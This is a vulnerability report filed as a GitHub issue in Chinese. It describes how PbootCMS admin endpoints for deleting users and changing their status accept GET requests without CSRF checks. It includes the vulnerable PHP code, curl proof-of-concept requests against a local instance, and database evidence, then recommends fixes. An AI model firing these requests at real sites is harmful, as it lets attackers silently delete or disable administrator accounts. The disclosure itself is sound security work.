Skip to content

PbootCMS 后台用户删除及状态修改接口使用 GET 且缺少 CSRF 校验 #70

Description

@rockmelodies
  1. 产品介绍
    同漏洞一。PbootCMS 后台包含用户管理模块,支持新增、编辑、删除后台用户及修改用户启用状态。该模块是攻击者控制后台权限的敏感入口。

  2. 漏洞标题
    PbootCMS 后台用户删除及状态修改接口使用 GET 且缺少 CSRF 校验

  3. 漏洞描述
    后台用户删除接口 UserController::del() 与状态修改逻辑 UserController::mod() 均通过 GET 请求 携带参数执行,且未做任何 CSRF 校验。攻击者可构造恶意链接或 标签,诱导已登录管理员访问,即可在管理员不知情的情况下删除其他用户或修改其启用状态(如禁用账号),造成账号丢失、权限被篡改。

  4. 漏洞分析
    4.1 代码链(master 当前一致)
    apps/admin/controller/system/UserController.php

L118 public function del() {
L120 if (! $ucode = get('ucode', 'var')) { error(...); }
L124 if ($ucode == '10001') { error('内置管理员不允许删除!', -1); } // 仅过滤内置超管
L128 $this->model->delUser($ucode); // 直接删除,无 CSRF 校验
L130 success('删除成功!', -1);
}

L149 // 单独修改状态 —— 同样 GET
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
L150 $this->model->modUser($ucode, "$field='$value',...");
L151 location(-1);
}

apps/common/AdminController.php —— POST formcheck 校验(仅覆盖 $_POST,不覆盖 GET)

L69 if ($_POST && ! in_array(C, $nocheck) && session('formcheck') != post('formcheck')) {
L88 alert_back('表单提交校验失败,请刷新后重试!');
L89 }
↑ 仅在 $_POST 时校验 formcheck;del/mod 的 GET 分支不经过该校验
4.2 成因分析

  1. 敏感操作使用 GET:删除、状态修改属于有副作用的写操作,却通过 GET 完成,违反「写操作用 POST」的安全基线。
  2. CSRF 校验缺失:全站唯一 CSRF 防护(formcheck)只作用于 $_POST 请求,GET 路径完全绕过。跨站请求只需让受害者浏览器发出一个 GET(链接、图片、iframe 均可),即可携带受害者会话 Cookie 触发操作。
  3. 仅过滤内置超管:除 ucode=10001 外,其余所有用户(含其他管理员)均可被删除/禁用。
    漏洞影响版本
    ● 复现版本:PbootCMS V3.2.21(构建号 20260811)
    ● 该接口设计长期存在,推测影响多个历史版本;建议项目方核实受影响版本范围。
  4. 漏洞等级
    中危(Medium)——攻击者无需任何权限,但需诱导已登录管理员触发;影响为删除/禁用后台用户(完整性破坏)。
  5. CVSS 向量
    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
    漏洞复现过程
Image Image
  1. 准备一个受害用户(ucode=10099、username=csrftest、status=1)。
  2. 使用已登录管理员的会话 Cookie,构造纯 GET 请求(不带任何 formcheck/CSRF token):
    ○ 状态修改:GET /admin.php?p=/User/mod&ucode=10099&field=status&value=0
    ○ 删除用户:GET /admin.php?p=/User/del&ucode=10099
  3. 观察请求前后数据库状态变化,确认操作已生效。
  4. 漏洞复现 POC

0) 准备受害用户(ucode=10099, username=csrftest, status=1)

php -r '$p=new PDO("sqlite:data/pbootcms.db");
$p->exec("INSERT INTO ay_user (ucode,username,realname,password,status,login_count,last_login_ip,create_user,update_user,create_time,update_time)
VALUES ("10099","csrftest","CSRF Victim","".md5(md5("Test@123"))."","1",0,0,"admin","admin","2026-08-18 10:00:00","2026-08-18 10:00:00")");
$p->exec("INSERT INTO ay_user_role (ucode,rcode) VALUES ("10099","R101")");'

1) 状态修改:纯 GET,无 formcheck

curl -b cookie.txt 'http://127.0.0.1:8899/admin.php?p=/User/mod&ucode=10099&field=status&value=0'
-w "[HTTP %{http_code}]\n"

HTTP 302(location(-1) 跳转)→ status 已改为 0

2) 删除用户:纯 GET,无 formcheck

curl -b cookie.txt 'http://127.0.0.1:8899/admin.php?p=/User/del&ucode=10099'
-w "[HTTP %{http_code}]\n"

HTTP 200 + "删除成功!" → 用户被物理删除

POC 证据(DB before / HTTP / DB after):
── 状态修改 ──
[before] SELECT status FROM ay_user WHERE ucode='10099'; → status=1
[GET] /admin.php?p=/User/mod&ucode=10099&field=status&value=0 → HTTP 302
[after] SELECT status FROM ay_user WHERE ucode='10099'; → status=0 ✅

── 删除用户 ──
[before] SELECT count() FROM ay_user WHERE ucode='10099'; → 1
[GET] /admin.php?p=/User/del&ucode=10099 → HTTP 200 + "删除成功!"
[after] SELECT count(
) FROM ay_user WHERE ucode='10099'; → 0 ✅
关键点:两次请求仅携带会话 Cookie(PbootSystem=...),没有任何 formcheck/CSRF token;攻击者用 即可让管理员浏览器在不知情时发出该 GET 请求。
10. 修复建议

  1. 删除接口改为 POST:del() 改为仅接受 POST,并纳入 AdminController 的 formcheck 校验(推荐,改动最小且复用现有 token 机制)。
  2. 状态修改改为 POST:mod() 中 field/value 的快捷改状态逻辑改为 POST + formcheck,禁止通过 GET 修改。
  3. 增加 CSRF token 校验:若必须保留 GET(不建议),为所有写操作接口补充统一的 CSRF token 校验。
  4. 敏感操作二次确认 + 权限校验:删除用户、禁用账号等高风险操作在服务端校验当前用户是否具备对应角色权限,避免低权限用户越权操作高权限账号。
  5. 回归验证:对全站「写操作走 GET」的接口做一次排查,统一收敛为 POST + token。

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions